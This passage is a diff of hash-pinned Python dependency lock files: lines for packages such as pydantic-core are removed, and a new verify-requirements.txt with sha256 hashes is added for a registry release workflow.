--hash=sha256:19736989797678c6af1e55cd49055cdbcb55d8f6b5583ac5335f933aba9101dc \ - --hash=sha256:1b4a266766514614f8aa60416e71f2fc6e575d36e7bdc90f644fadb2f4b75b95 \ - --hash=sha256:2a8183b489dc1f7f80f135780fadc1108f14b31b8a40411c7a5b17425f65f28b \ - --hash=sha256:37fdb0d0111f1e2ff07139dfb79f1b49531f8e213c46f1163dd7642979b58c47 \ - --hash=sha256:3f5735ffe4996d28b809371756219f5354864902a3b9e7c0b9ee87041209fc9c \ - --hash=sha256:49e7d93abdbd2990caced757e5fade25302f719c3c8fb6e6fff2dde98999fc41 \ - --hash=sha256:5e34edd123674534acd70147f0ca331eaa2c74e6325fb2028c886aa26ba0b68c \ - --hash=sha256:62598a8a57f815db4c6259a4e97d857dab56697e7de8e8ab02352ab74da1995d \ - --hash=sha256:65c2c3add92b45fd0709db8594536aea39c2a67af0e27ffcf049c498501140b7 \ - --hash=sha256:6ba6a53445bd3cfa809ef3ef5f1589aa6ba08784a1d962bf47d0940e871dab1c \ - --hash=sha256:6e7d61120573a7f2cd94cc095f9e81f6967c61ccdf194285aa143ecec8e0b708 \ - --hash=sha256:7cec5b856506da6defb290f30c9ee687d5f5e8cb0bd3f6459dde43b0b4fa40ef \ - --hash=sha256:80b63928fa35083b33966ce1efb70e5b9607181e49dcd1c22c8c005e319f667f \ - --hash=sha256:82148ec5bddac30b51a5b3c1945075f896fa022cb93f8e4a01e9f6ee95292c5f \ - --hash=sha256:828743d939e9629bc267b8e2d08d8bb67cd4319c771a33d4b18b22dd8fb7440a \ - --hash=sha256:8d89f3976b10b4ce31118de72329025f70d2c6ead14a8217c5514dd2c6d5a78f \ - --hash=sha256:8eb5e1172eb569ea8a872796576e6a67c276351728b6455d5beb01242b027c6a \ - --hash=sha256:900131fafd8aead39ac7dd3a7e833be754c17a95cfd91221636949fe4eb0aa8a \ - --hash=sha256:910d11e1a385c654bf738bf3e6b8e6ed5de0f5610fcae2be9e5b398d8081d20e \ - --hash=sha256:910e1d2668e7de9648f2bcee30e180db2a6b15c30f887d7c4c93ddf96e3992e3 \ - --hash=sha256:9aa87839c383bdbab6ef865787a1fb877af8dd03464c4400322726feaaadfc6d \ - --hash=sha256:a1b30560f2acc95aa8b2e06e716a13dbfc97314747b80d9707e307f77b40d6b3 \ - --hash=sha256:a91296cb61e8df6f86d0c19cc4068228da256bf59bf86049fbd821084565327f \ - --hash=sha256:b42a28c1844fd9de8f3f7d540e36b66f3a9c83fceac7170ebc7a6a19edd9dcae \ - --hash=sha256:bd1c592e4d5974f0d08d4888e432157adba757c66da0246918e43677fafa2d30 \ - --hash=sha256:c87f62a3d3b9888ed0fdde100ec06aa61ca9cd44bad9057d1dff9a516b5f5bb9 \ - --hash=sha256:c99c003e088647b8a5b7c145d6f78c335f6348332b62e142d411c4b63d1460b9 \ - --hash=sha256:ccdc4a71a4dabae05de219404f9f4abc38e3b58422177ff93d0da05967dafa07 \ - --hash=sha256:d24fead1d4d076e1bfb006dcec392074a3cd8d7b4fc8a595aa64073b2b7a96ba \ - --hash=sha256:d58c3db7cd6eed54e6c06744db55456b65ebd7492ddeae9c1e93cfca7aa857d3 \ - --hash=sha256:d764dcf130c428ef66786f866dd750f53182bc608813489915e9fc106bb0c82f \ - --hash=sha256:df2a58a472f332225671c35b0a830208b86d004f82baa8530fa3782c85646533 \ - --hash=sha256:e722f16708d854fe924790e051061f6704a472c3bac347b6fd88033ea8dd0dc5 \ - --hash=sha256:ecfed7367f965a0328cfbdd70da860f15441f002f613185668c6e6ebf5a0ac11 \ - --hash=sha256:eeac2acb5a20ed25e0ad6d1df9891a520b78b404266b6d11778f25d5d691a6c9 \ - --hash=sha256:f59e38625469987d7ef6d495323c55e7db6c212eaf6112267e0d3b565a2e9c9f \ - --hash=sha256:f89831ef99dd7dd169ab06d63a831adb9e20a87aac6d380266bbda5823349169 \ - --hash=sha256:fd9192b7b70c573d7f214eb1ae35e00d359f6f5e4b27c7e21e30de1fc6204645 -pycparser==3.0 \ - --hash=sha256:600f49d217304a5902ac3c37e1281c9fe94e4d0489de643a9504c5cdfdfc6b29 \ - --hash=sha256:b727414169a36b7d524c1c3e31839a521725078d7b2ff038656844266160a992 -pydantic==2.12.5 \ - --hash=sha256:4d351024c75c0f085a9febbb665ce8c0c6ec5d30e903bdb6394b7ede26aebb49 \ - --hash=sha256:e561593fccf61e8a20fc46dfc2dfe075b8be7d0188df33f221ad1f0139180f9d -pydantic-core==2.41.5 \ - --hash=sha256:0177272f88ab8312479336e1d777f6b124537d47f2123f89cb37e0accea97f90 \ - --hash=sha256:01a3d0ab748ee531f4ea6c3e48ad9dac84ddba4b0d82291f87248f2f9de8d740 \ - --hash=sha256:0384e2e1021894b1ff5a786dbf94771e2986ebe2869533874d7e43bc79c6f504 \ - --hash=sha256:03b77d184b9eb40240ae9fd676ca364ce1085f203e1b1256f8ab9984dca80a84 \ - --hash=sha256:03ca43e12fab6023fc79d28ca6b39b05f794ad08ec2feccc59a339b02f2b3d33 \ - --hash=sha256:05a2c8852530ad2812cb7914dc61a1125dc4e06252ee98e5638a12da6cc6fb6c \ - --hash=sha256:070259a8818988b9a84a449a2a7337c7f430a22acc0859c6b110aa7212a6d9c0 \ - --hash=sha256:08daa51ea16ad373ffd5e7606252cc32f07bc72b28284b6bc9c6df804816476e \ - --hash=sha256:0cbaad15cb0c90aa221d43c00e77bb33c93e8d36e0bf74760cd00e732d10a6a0 \ - --hash=sha256:100baa204bb412b74fe285fb0f3a385256dad1d1879f0a5cb1499ed2e83d132a \ - --hash=sha256:112e305c3314f40c93998e567879e887a3160bb8689ef3d2c04b6cc62c33ac34 \ - --hash=sha256:16f80f7abe3351f8ea6858914ddc8c77e02578544a0ebc15b4c2e1a0e813b0b2 \ - --hash=sha256:1746d4a3d9a794cacae06a5eaaccb4b8643a131d45fbc9af23e353dc0a5ba5c3 \ - --hash=sha256:1962293292865bca8e54702b08a4f26da73adc83dd1fcf26fbc875b35d81c815 \ - --hash=sha256:1d1d9764366c73f996edd17abb6d9d7649a7eb690006ab6adbda117717099b14 \ - --hash=sha256:1f8d33a7f4d5a7889e60dc39856d76d09333d8a6ed0f5f1190635cbec70ec4ba \ - --hash=sha256:22f0fb8c1c583a3b6f24df2470833b40207e907b90c928cc8d3594b76f874375 \ - --hash=sha256:239edca560d05757817c13dc17c50766136d21f7cd0fac50295499ae24f90fdf \ - --hash=sha256:242a206cd0318f95cd21bdacff3fcc3aab23e79bba5cac3db5a841c9ef9c6963 \ - --hash=sha256:25e1c2af0fce638d5f1988b686f3b3ea8cd7de5f244ca147c777769e798a9cd1 \ - --hash=sha256:266fb4cbf5e3cbd0b53669a6d1b039c45e3ce651fd5442eff4d07c2cc8d66808 \ - --hash=sha256:2782c870e99878c634505236d81e5443092fba820f0373997ff75f90f68cd553 \ - --hash=sha256:287dad91cfb551c363dc62899a80e9e14da1f0e2b6ebde82c806612ca2a13ef1 \ - --hash=sha256:29452c56df2ed968d18d7e21f4ab0ac55e71dc59524872f6fc57dcf4a3249ed2 \ - --hash=sha256:299e0a22e7ae2b85c1a57f104538b2656e8ab1873511fd718a1c1c6f149b77b5 \ - --hash=sha256:2a5e06546e19f24c6a96a129142a75cee553cc018ffee48a460059b1185f4470 \ - --hash=sha256:2b761d210c9ea91feda40d25b4efe82a1707da2ef62901466a42492c028553a2 \ - --hash=sha256:2c010c6ded393148374c0f6f0bf89d206bf3217f201faa0635dcd56bd1520f6b \ - --hash=sha256:2ff4321e56e879ee8d2a879501c8e469414d948f4aba74a2d4593184eb326660 \ - --hash=sha256:3006c3dd9ba34b0c094c544c6006cc79e87d8612999f1a5d43b769b89181f23c \ - --hash=sha256:33cb885e759a705b426baada1fe68cbb0a2e68e34c5d0d0289a364cf01709093 \ - --hash=sha256:346285d28e4c8017da95144c7f3acd42740d637ff41946af5ce6e5e420502dd5 \ - --hash=sha256:34a64bc3441dc1213096a20fe27e8e128bd3ff89921706e83c0b1ac971276594 \ - --hash=sha256:35b44f37a3199f771c3eaa53051bc8a70cd7b54f333531c59e29fd4db5d15008 \ - --hash=sha256:378bec5c66998815d224c9ca994f1e14c0c21cb95d2f52b6021cc0b2a58f2a5a \ - --hash=sha256:3f37a19d7ebcdd20b96485056ba9e8b304e27d9904d233d7b1015db320e51f0a \ - --hash=sha256:3f84d5c1b4ab906093bdc1ff10484838aca54ef08de4afa9de0f5f14d69639cd \ - --hash=sha256:4009935984bd36bd2c774e13f9a09563ce8de4abaa7226f5108262fa3e637284 \ - --hash=sha256:406bf18d345822d6c21366031003612b9c77b3e29ffdb0f612367352aab7d586 \ - --hash=sha256:4819fa52133c9aa3c387b3328f25c1facc356491e6135b459f1de698ff64d869 \ - --hash=sha256:482c982f814460eabe1d3bb0adfdc583387bd4691ef00b90575ca0d2b6fe2294 \ - --hash=sha256:4bc36bbc0b7584de96561184ad7f012478987882ebf9f9c389b23f432ea3d90f \ - --hash=sha256:506d766a8727beef16b7adaeb8ee6217c64fc813646b424d0804d67c16eddb66 \ - --hash=sha256:56121965f7a4dc965bff783d70b907ddf3d57f6eba29b6d2e5dabfaf07799c51 \ - --hash=sha256:58133647260ea01e4d0500089a8c4f07bd7aa6ce109682b1426394988d8aaacc \ - --hash=sha256:5921a4d3ca3aee735d9fd163808f5e8dd6c6972101e4adbda9a4667908849b97 \ - --hash=sha256:5a4e67afbc95fa5c34cf27d9089bca7fcab4e51e57278d710320a70b956d1b9a \ - --hash=sha256:5cb1b2f9742240e4bb26b652a5aeb840aa4b417c7748b6f8387927bc6e45e40d \ - --hash=sha256:62de39db01b8d593e45871af2af9e497295db8d73b085f6bfd0b18c83c70a8f9 \ - --hash=sha256:634e8609e89ceecea15e2d61bc9ac3718caaaa71963717bf3c8f38bfde64242c \ - --hash=sha256:63510af5e38f8955b8ee5687740d6ebf7c2a0886d15a6d65c32814613681bc07 \ - --hash=sha256:650ae77860b45cfa6e2cdafc42618ceafab3a2d9a3811fcfbd3bbf8ac3c40d36 \ - --hash=sha256:6561e94ba9dacc9c61bce40e2d6bdc3bfaa0259d3ff36ace3b1e6901936d2e3e \ - --hash=sha256:65840751b72fbfd82c3c640cff9284545342a4f1eb1586ad0636955b261b0b05 \ - --hash=sha256:6cb58b9c66f7e4179a2d5e0f849c48eff5c1fca560994d6eb6543abf955a149e \ - --hash=sha256:6f52298fbd394f9ed112d56f3d11aabd0d5bd27beb3084cc3d8ad069483b8941 \ - --hash=sha256:707625ef0983fcfb461acfaf14de2067c5942c6bb0f3b4c99158bed6fedd3cf3 \ - --hash=sha256:72f6c8b11857a856bcfa48c86f5368439f74453563f951e473514579d44aa612 \ - --hash=sha256:753e230374206729bf0a807954bcc6c150d3743928a73faffee51ac6557a03c3 \ - --hash=sha256:76d0819de158cd855d1cbb8fcafdf6f5cf1eb8e470abe056d5d161106e38062b \ - --hash=sha256:76ee27c6e9c7f16f47db7a94157112a2f3a00e958bc626e2f4ee8bec5c328fbe \ - --hash=sha256:77b63866ca88d804225eaa4af3e664c5faf3568cea95360d21f4725ab6e07146 \ - --hash=sha256:79ec52ec461e99e13791ec6508c722742ad745571f234ea6255bed38c6480f11 \ - --hash=sha256:7b93a4d08587e2b7e7882de461e82b6ed76d9026ce91ca7915e740ecc7855f60 \ - --hash=sha256:7da7087d756b19037bc2c06edc6c170eeef3c3bafcb8f532ff17d64dc427adfd \ - --hash=sha256:7f3bf998340c6d4b0c9a2f02d6a400e51f123b59565d74dc60d252ce888c260b \ - --hash=sha256:80aa89cad80b32a912a65332f64a4450ed00966111b6615ca6816153d3585a8c \ - --hash=sha256:8566def80554c3faa0e65ac30ab0932b9e3a5cd7f8323764303d468e5c37595a \ - --hash=sha256:873e0d5b4fb9b89ef7c2d2a963ea7d02879d9da0da8d9d4933dee8ee86a8b460 \ - --hash=sha256:88942d3a3dff3afc8288c21e565e476fc278902ae4d6d134f1eeda118cc830b1 \ - --hash=sha256:8bfeaf8735be79f225f3fefab7f941c712aaca36f1128c9d7e2352ee1aa87bdf \ - --hash=sha256:8e7c86f27c585ef37c35e56a96363ab8de4e549a95512445b85c96d3e2f7c1bf \ - --hash=sha256:915c3d10f81bec3a74fbd4faebe8391013ba61e5a1a8d48c4455b923bdda7858 \ - --hash=sha256:93e8740d7503eb008aa2df04d3b9735f845d43ae845e6dcd2be0b55a2da43cd2 \ - --hash=sha256:941103c9be18ac8daf7b7adca8228f8ed6bb7a1849020f643b3a14d15b1924d9 \ - --hash=sha256:97aeba56665b4c3235a0e52b2c2f5ae9cd071b8a8310ad27bddb3f7fb30e9aa2 \ - --hash=sha256:a39455728aabd58ceabb03c90e12f71fd30fa69615760a075b9fec596456ccc3 \ - --hash=sha256:a3a52f6156e73e7ccb0f8cced536adccb7042be67cb45f9562e12b319c119da6 \ - --hash=sha256:a668ce24de96165bb239160b3d854943128f4334822900534f2fe947930e5770 \ - --hash=sha256:a75dafbf87d6276ddc5b2bf6fae5254e3d0876b626eb24969a574fff9149ee5d \ - --hash=sha256:aabf5777b5c8ca26f7824cb4a120a740c9588ed58df9b2d196ce92fba42ff8dc \ - --hash=sha256:aec5cf2fd867b4ff45b9959f8b20ea3993fc93e63c7363fe6851424c8a7e7c23 \ - --hash=sha256:b2379fa7ed44ddecb5bfe4e48577d752db9fc10be00a6b7446e9663ba143de26 \ - --hash=sha256:b4ececa40ac28afa90871c2cc2b9ffd2ff0bf749380fbdf57d165fd23da353aa \ - --hash=sha256:b5819cd790dbf0c5eb9f82c73c16b39a65dd6dd4d1439dcdea7816ec9adddab8 \ - --hash=sha256:b74557b16e390ec12dca509bce9264c3bbd128f8a2c376eaa68003d7f327276d \ - --hash=sha256:b80aa5095cd3109962a298ce14110ae16b8c1aece8b72f9dafe81cf597ad80b3 \ - --hash=sha256:b93590ae81f7010dbe380cdeab6f515902ebcbefe0b9327cc4804d74e93ae69d \ - --hash=sha256:b96d5f26b05d03cc60f11a7761a5ded1741da411e7fe0909e27a5e6a0cb7b034 \ - --hash=sha256:bd3d54f38609ff308209bd43acea66061494157703364ae40c951f83ba99a1a9 \ - --hash=sha256:bfea2a5f0b4d8d43adf9d7b8bf019fb46fdd10a2e5cde477fbcb9d1fa08c68e1 \ - --hash=sha256:c007fe8a43d43b3969e8469004e9845944f1a80e6acd47c150856bb87f230c56 \ - --hash=sha256:c1df3d34aced70add6f867a8cf413e299177e0c22660cc767218373d0779487b \ - --hash=sha256:c23e27686783f60290e36827f9c626e63154b82b116d7fe9adba1fda36da706c \ - --hash=sha256:c8d8b4eb992936023be7dee581270af5c6e0697a8559895f527f5b7105ecd36a \ - --hash=sha256:c9e19dd6e28fdcaa5a1de679aec4141f691023916427ef9bae8584f9c2fb3b0e \ - --hash=sha256:d0d2568a8c11bf8225044aa94409e21da0cb09dcdafe9ecd10250b2baad531a9 \ - --hash=sha256:d38548150c39b74aeeb0ce8ee1d8e82696f4a4e16ddc6de7b1d8823f7de4b9b5 \ - --hash=sha256:d3a978c4f57a597908b7e697229d996d77a6d3c94901e9edee593adada95ce1a \ - --hash=sha256:d5160812ea7a8a2ffbe233d8da666880cad0cbaf5d4de74ae15c313213d62556 \ - --hash=sha256:dc799088c08fa04e43144b164feb0c13f9a0bc40503f8df3e9fde58a3c0c101e \ - --hash=sha256:df3959765b553b9440adfd3c795617c352154e497a4eaf3752555cfb5da8fc49 \ - --hash=sha256:dfa8a0c812ac681395907e71e1274819dec685fec28273a28905df579ef137e2 \ - --hash=sha256:e25c479382d26a2a41b7ebea1043564a937db462816ea07afa8a44c0866d52f9 \ - --hash=sha256:e4f4a984405e91527a0d62649ee21138f8e3d0ef103be488c1dc11a80d7f184b \ - --hash=sha256:e536c98a7626a98feb2d3eaf75944ef6f3dbee447e1f841eae16f2f0a72d8ddc \ - --hash=sha256:e56ba91f47764cc14f1daacd723e3e82d1a89d783f0f5afe9c364b8bb491ccdb \ - --hash=sha256:e672ba74fbc2dc8eea59fb6d4aed6845e6905fc2a8afe93175d94a83ba2a01a0 \ - --hash=sha256:e7b576130c69225432866fe2f4a469a85a54ade141d96fd396dffcf607b558f8 \ - --hash=sha256:e8465ab91a4bd96d36dde3263f06caa6a8a6019e4113f24dc753d79a8b3a3f82 \ - --hash=sha256:e96cea19e34778f8d59fe40775a7a574d95816eb150850a85a7a4c8f4b94ac69 \ - --hash=sha256:ece5c59f0ce7d001e017643d8d24da587ea1f74f6993467d85ae8a5ef9d4f42b \ - --hash=sha256:eceb81a8d74f9267ef4081e246ffd6d129da5d87e37a77c9bde550cb04870c1c \ - --hash=sha256:ed2e99c456e3fadd05c991f8f437ef902e00eedf34320ba2b0842bd1c3ca3a75 \ - --hash=sha256:f0cd744688278965817fd0839c4a4116add48d23890d468bc436f78beb28abf5 \ - --hash=sha256:f14f8f046c14563f8eb3f45f499cc658ab8d10072961e07225e507adb700e93f \ - --hash=sha256:f15489ba13d61f670dcc96772e733aad1a6f9c429cc27574c6cdaed82d0146ad \ - --hash=sha256:f31d95a179f8d64d90f6831d71fa93290893a33148d890ba15de25642c5d075b \ - --hash=sha256:f41a7489d32336dbf2199c8c0a215390a751c5b014c2c1c5366e817202e9cdf7 \ - --hash=sha256:f41eb9797986d6ebac5e8edff36d5cef9de40def462311b3eb3eeded1431e425 \ - --hash=sha256:f547144f2966e1e16ae626d8ce72b4cfa0caedc7fa28052001c94fb2fcaa1c52 -typing-extensions==4.15.0 \ - --hash=sha256:0cea48d173cc12fa28ecabc3b837ea3cf6f38c6d1136f85cbaaf598984861466 \ - --hash=sha256:f0fa19c6845758ab08074a0cfa8b7aecb71c999ca73d62883bc25cc018c4e548 -typing-inspection==0.4.2 \ - --hash=sha256:4ed1cacbdc298c220f1bd249ed5287caa16f34d44ef4e9c3d0cbad5b521545e7 \ - --hash=sha256:ba561c48a67c5958007083d386c3295464928b01faa735ab8547c5692e87f464 diff --git a/packages/flow/registry/verify-requirements.txt b/packages/flow/registry/verify-requirements.txt new file mode 100644 index 000000000..257b90716 --- /dev/null +++ b/packages/flow/registry/verify-requirements.txt @@ -0,0 +1,533 @@ +# Hash-pinned wheels for the registry release workflow, which checks its own +# attestation with openadapt_flow.registry_attest before publishing. Regenerate: +# uv pip compile <(printf "sigstore==4.5.1\npydantic==2.12.5\ncryptography==50.0.0\n") \ +# --generate-hashes --python-version 3.12 --python-platform x86_64-manylinux_2_28 +annotated-types==0.8.0 \ + --hash=sha256:13b2beaad985e05e2d6407ee4c4f35590b11f8d693a258a561055cac8f64cab7 \ + --hash=sha256:f072f4d804ea359e4eaf198b1af7a8b0943881a87f31bb764f8bf219bb9419e0 +certifi==2026.10.23 \ + --hash=sha256:a9895e6e2758b371e0545e321a3a8fd1fcfd9829ada8824a936dfb16aaaf36cd \ + --hash=sha256:e9b54de76e530bb6cf0ccd036787103acb58fd42ba930ea8bf948ddbaa2f61d1 +cffi==2.1.1 \ + --hash=sha256:046bfc24911b37851ee1b51aab8bffe713d89c68c6a057b09484ce9fd5f69b4e \ + --hash=sha256:06c72bb76605a4b0cd0aad6930b69d4baf7dd5d806cfc409b824191099700e66 \ + --hash=sha256:0beceaabe56af686895136a2de78db54ecd8e4046b236b8fd6d6cb61389e9bf2 \ + --hash=sha256:154852545011f779917b11c78db2358d095da62a9a172b78ad0a583ee5adc0d0 \ + --hash=sha256:194cffa889098ced9976c3fc6340305e43f6303657d298da55366907c05c22d6 \ + --hash=sha256:19ee6127ee34de7d83ce3d371ebc5ed91addbdcc39f9ab15ce4eb35a4e534971 \ + --hash=sha256:1a18a57b58cfb21fc28d72e876acf10eaed67a1ed96226f92af4df681d571c4c \ + --hash=sha256:1aa5645c30469b09530c4ebca77ebf8f17618293c58f8549cb1a543a50236e7d \ + --hash=sha256:1dea0e4d7d4f11f619fe8c1d76caf49e24405b4b5743c0e3be16a500ecd930c9 \ + --hash=sha256:208f941bb9d18e768138677f0a6d2ce01f590df56043dda1df1535ac57c88517 \ + --hash=sha256:210019b6c7cf07f081b4c54635c8cf744377001350e29cc0f81c4377b4797735 \ + --hash=sha256:246fa40ce8645a614ff682e0b70f37134e460eaf93a775e0cbe3cca585a67a80 \ + --hash=sha256:25792eac27877609e7bb06d42ff88278a6624fff2ba9bbb523c09616b117e80f \ + --hash=sha256:27350daa11d4f10c540e6e89dada4c54feb7256ad03e9a4dc075ebad7ba360d1 \ + --hash=sha256:28907ab9bfb6aa13184cfc17c6b8e1023c5ab6fd7076d8c20a35e59fe04f8f29 \ + --hash=sha256:2ae64be792b8966f2c69538199728b290e34726562896df1e5dc8ffd8d8188e8 \ + --hash=sha256:31348097ff5bbe827ccc41795d4dd099d9f0625e7def00ee653c137a490c2a6c \ + --hash=sha256:3143d81e29e1e20a9ce10901ec369012947876596f75a222235965f2b7ae832e \ + --hash=sha256:3222ba5d678f80a030e6afbcc33dc1ae5cb45facabb61cee2c7016b8432fde48 \ + --hash=sha256:3311ed60d36f83378794e1009ac6258bafbf81f7888b4caa7b35a521e3f95813 \ + --hash=sha256:334644fbac4eff73d985a17a91226df55d0f394160c4cfb880e084c8f7161cac \ + --hash=sha256:34e261f78cb6ceaaa36f42f2613f4380d94d9c759a9c73c769ee6e0247364632 \ + --hash=sha256:363e05fa78e15116c3c32c210ee36884fd6b9afa6d440e47112c3bd511d64cb6 \ + --hash=sha256:398aff33cee2767e3e781d2554c54bd0dff386bb437581e0d8011fde1a942ec1 \ + --hash=sha256:3d22a20b1fb1632cc72c22f95f7b0d2961c3e1c235f245ba4c606c4771035659 \ + --hash=sha256:42a494cee34437f05546455144f2b5d9ac09b1face62bcfce597d2e521066688 \ + --hash=sha256:42e2f76b9455f5a9a844f770bf3e200ed3da0e15f5df3db9c31fe80b04b3d004 \ + --hash=sha256:42f6930c31dc7f50732c9ae793c2786c7b6b044195967bbdde40bb9be81c4cc0 \ + --hash=sha256:456a61fa52d579ebf9df2e9552ead5129855dbaff6c1e5a9b1bc408809bdc062 \ + --hash=sha256:471cee653ae88de62096552e6d24ccb4a5adb8c8c9f10b5054d0122c15bf2779 \ + --hash=sha256:49cbc70e6542d4ccccb936558d1064a8012541e78f821f955cff24e357776c94 \ + --hash=sha256:4a7c934f7360e8cd64fe9efadcbd10c7c6364f531e432b9a4bf5ccbc9e0e8b50 \ + --hash=sha256:4be96343e422f2dfcd12ab5c9f5aebe03f82f737c6bffeca6830b3875cb44aab \ + --hash=sha256:4f42141fc14250de6dde5ee7ea4432be017252d91f19c5ad043c084cea629cac \ + --hash=sha256:507a24c282e0f42f8ed737cf048572cbf580468da5555764a8331735e9c736b6 \ + --hash=sha256:51b31d1c98274844cfd7838ce00bfc27c7423a4dc00fc0772fc3331c2cc90676 \ + --hash=sha256:58acb8ab8e295e6c5ea12f888cbb13cf21511ef2a3303a23f4325c29d17fe5c1 \ + --hash=sha256:5a59cc1c4442bc3d5c703bf720b51138d0bfc173618807c9ee2490a7541dd3d9 \ + --hash=sha256:5bb4e7ea95dcd6a014a6fef62e62467d67d8e582326443f3d68e71d6320a9fcf \ + --hash=sha256:5c58fe613dc5e5336357eff555824a314d8e43282600435c8d1cb6a7a2fedd13 \ + --hash=sha256:5e7cecbaadb83884793e05828cee59b210b24583b9c7425d0ba6a754fe22eb4e \ + --hash=sha256:616f097f2fe415bc92a247f02e11f634e1f9e9a83d327e3c915c15089c87869e \ + --hash=sha256:63bbfd5ded17c4840ac07cd8f1c21ba9d9708141f840b324f422f41b207e3973 \ + --hash=sha256:64faea20f4e2613363a1a9b9c7dd73058f3ecd00133a511e72ad7c511658f527 \ + --hash=sha256:661c298b4821edebead0c91edd2b00374d67ad7c5a1f7a91d4442633b79d6a72 \ + --hash=sha256:68e62fe11f30d5ca8289242866f0a5291402d8529ca2178ab8afc5c9694ae890 \ + --hash=sha256:6a8dddef476fab96d066d578fc88526767b836ab5ab21754e1d5bf3879c31c7c \ + --hash=sha256:6e192623c49c94421616a5778fba35cf0d5a8d000650c1967ef4448ee5cdd990 \ + --hash=sha256:7225e4514edb64eb6740324353e0da0711954fd8d7da4576755b1c6e09b697cd \ + --hash=sha256:75f80557d1389eddbd0de2681f6a390a0c5338c31ddaa821381c203fc3fd50d9 \ + --hash=sha256:770de9db11e84213beec501cfcaa013b019820ca881e03344dea5844f7876d94 \ + --hash=sha256:7750c6449dff7864bb9bb27ddfb0267756189201a3afc911d82b3caacd70dfc3 \ + --hash=sha256:7bde5e4cc5c10140859842b9d383af292b22639a4dffb725314baf45968cef80 \ + --hash=sha256:7ce713ace7c0e4520535b42b77eaa742c16dab813978064913e5a3cf82973b41 \ + --hash=sha256:7da0c5eff80f0197f3b3d1232ec5a682a9325f4ae9016a78f5f5ca35f9ced1f5 \ + --hash=sha256:7dbb61fe3a7699468030f71bbe5f8a0e326a151daa91beb11a6fc1f980c55e1c \ + --hash=sha256:811bd1e21d32de12efca32393a0ab3f5133b54fce9bd44b8bd77ab07da14bf6a \ + --hash=sha256:8ef53b2de9bcb9197d31854256575d59dbac0cba72ac627bb291ef5eceb74be4 \ + --hash=sha256:937c0052c05a31ca1daf18de3158eed4dbfcb9cc107adbea227728d647be701e \ + --hash=sha256:9d2055050ea716bd38b7f7f1579c275386646b4894c155a3e2f3cd62ed41b7c6 \ + --hash=sha256:9f8d177621de5cb38ee3e731eda45d421db093ec0739f46a5594babda7987a98 \ + --hash=sha256:a2d7755bef5a12ed488f4ef1f1b69ee9191d7396083b755a5d2295f6edb4768b \ + --hash=sha256:a48d62ab9d6f4f98c983223a547af44be6ca3691074c31cecced6facd3ba2dc1 \ + --hash=sha256:a4f00aa42f75d6e4595e8866e748cc1705adc0cddfeb2ca86d0d03993d63ba03 \ + --hash=sha256:a6e721d4b0e45d5b65e87534470e67b18dcd092c83f68fba09f152b9cbc061af \ + --hash=sha256:a730a083190634c65cca36ba5f489531576ebd79bcd5c8e172130f6453127231 \ + --hash=sha256:a931079504ecc49efed7744c476a5c343a92fabf66dec2db95edb1b2fdc770e2 \ + --hash=sha256:aa9511c62d14da7aacc9b4bf51f3f697a621e83b2d6919008243c3aad168eea3 \ + --hash=sha256:ab36d55f9ed2d067327667c2fea18dda018eb628dd6347aa01dda6cf1f5d3836 \ + --hash=sha256:ad2c86c495b899d862ea0f4b42891b8713a3bd45dd4105c7fd51c2a72f39f3a5 \ + --hash=sha256:aeae0e330c9f6acd681f647d46cefd30c29f93e3392882e792e82080c9691399 \ + --hash=sha256:b0431303acaea1089ad4b3e9ce4e6518193def1118d4073ca848635ee4ea2e96 \ + --hash=sha256:b5bdfd1c873d4e093aabc0ca84c4ca6dbc4f752afb5c86f146d9742580c9da2e \ + --hash=sha256:baed1e86cc735622097354b9d1281406caf42ff42a886d29faa8e8d1630333be \ + --hash=sha256:c1453022f490d2459a11819d83ad1d586e9ff65a12ac3e705ffebd46d3685dcf \ + --hash=sha256:c26608d2222fb1e94487e4a387d85f13eb55d5ed725cb25a0c589ac4ee60e7bc \ + --hash=sha256:c7659f22557c5a0bc4855cd635f55edec690cc008a40768527762cb9fb263455 \ + --hash=sha256:c8c69575568085ba0b1b10c0249d779a214aea6f6522e949a0fc9fb0fcb449d0 \ + --hash=sha256:c8d2c9fd1f2d16f780d15127abb050d13d1a76c03a4bd87d7e4980e45e511e12 \ + --hash=sha256:ca82be1a1d406ecfe1d25dc16cb33488e5a16bf4438c9fb590484ea29d92478b \ + --hash=sha256:cc572dace3f60ef98d7b12ff411d20f5362feb31a0439eab0085bbfd349982d7 \ + --hash=sha256:d18e5ac0f2f03f4f518d3e23db0f0cad7faa1da8620e9c09461d443bbf6e6692 \ + --hash=sha256:d28630f5854ab07ab1fd4aba756de52326c82e6be15d414b12793f1975048b54 \ + --hash=sha256:d9c275eaacd24aa73f94ffd6de08fc3f932424d8b6c376f4bed7cde376fe7bc3 \ + --hash=sha256:da0e573f9f97159390c89d9f1a9e41908b66d408cc5b58d08cf3847d844c531b \ + --hash=sha256:dd31f52ea1086513bb9df30f8fcee9b8918323ae067a3d5b78bc826a000712be \ + --hash=sha256:dddad92b554513a31f272570678ba307fb9f618f05e3d4a5eacafff9eae03e1d \ + --hash=sha256:df423d40ee8654634421812bc3b196da3f9bd7d32929da813f8394c4348a5358 \ + --hash=sha256:df913725b79db7bcf03448f36b7bf8815363417d5b58deecf9305e3e30f0f21a \ + --hash=sha256:e0bcb7e0f677f543555d2adff3bf19c05f66cdb4796e5ff602442ab2fe3c4ef7 \ + --hash=sha256:e2d65b31f36619cda3999b78b2aa9632e76b78448e7a56fc4240824200e7c4fc \ + --hash=sha256:e6e8cff14d6fb0be70a09c0bdc58096f501952d04624ebf867e0e56da2df8960 \ + --hash=sha256:f16c709686a78c727bbbf059f92b0bf41c6fc60deec706d2dc19f529175a6125 \ + --hash=sha256:f24fb43132a4c6b4cb4eb029492919b2db645be6808d738f244fd146c03c32cb \ + --hash=sha256:f53e442b08449d42821fa4a4fba000095af9f62742a500f978a9f557ec44339a \ + --hash=sha256:f5cfbc5fe74540d335175b656c725d74d90e3730c626d92575eea35029d9afaa \ + --hash=sha256:f81b3b8f3d4e343550fa4baa0e479bba9f2d29ce9c2e9b51d1ce1718d7442fcf \ + --hash=sha256:f8ec5e643a9a937f64e1999eb9f75d072263751912dc5cd06d3c85f8f44be7c3 \ + --hash=sha256:fb92203a88b3d3053034db775110081c49d28be6551923805e039924093761e4 \ + --hash=sha256:fcd22650c908d7b7da162bbfaab594a1227a15d1643a98c68b122ac642fa2264 +charset-normalizer==3.5.2 \ + --hash=sha256:01077390b03f7988f11d700a2194e69b119741a86b1a638b1db88891e3eced8e \ + --hash=sha256:01b0c0d2262a9e28e8484a278c7e1b5d650e3ac8cf2683d2967e25899f208bdf \ + --hash=sha256:04851f73ae72b8413dddadb16a49dfee95263553741fd42d546f7d66907e6be5 \ + 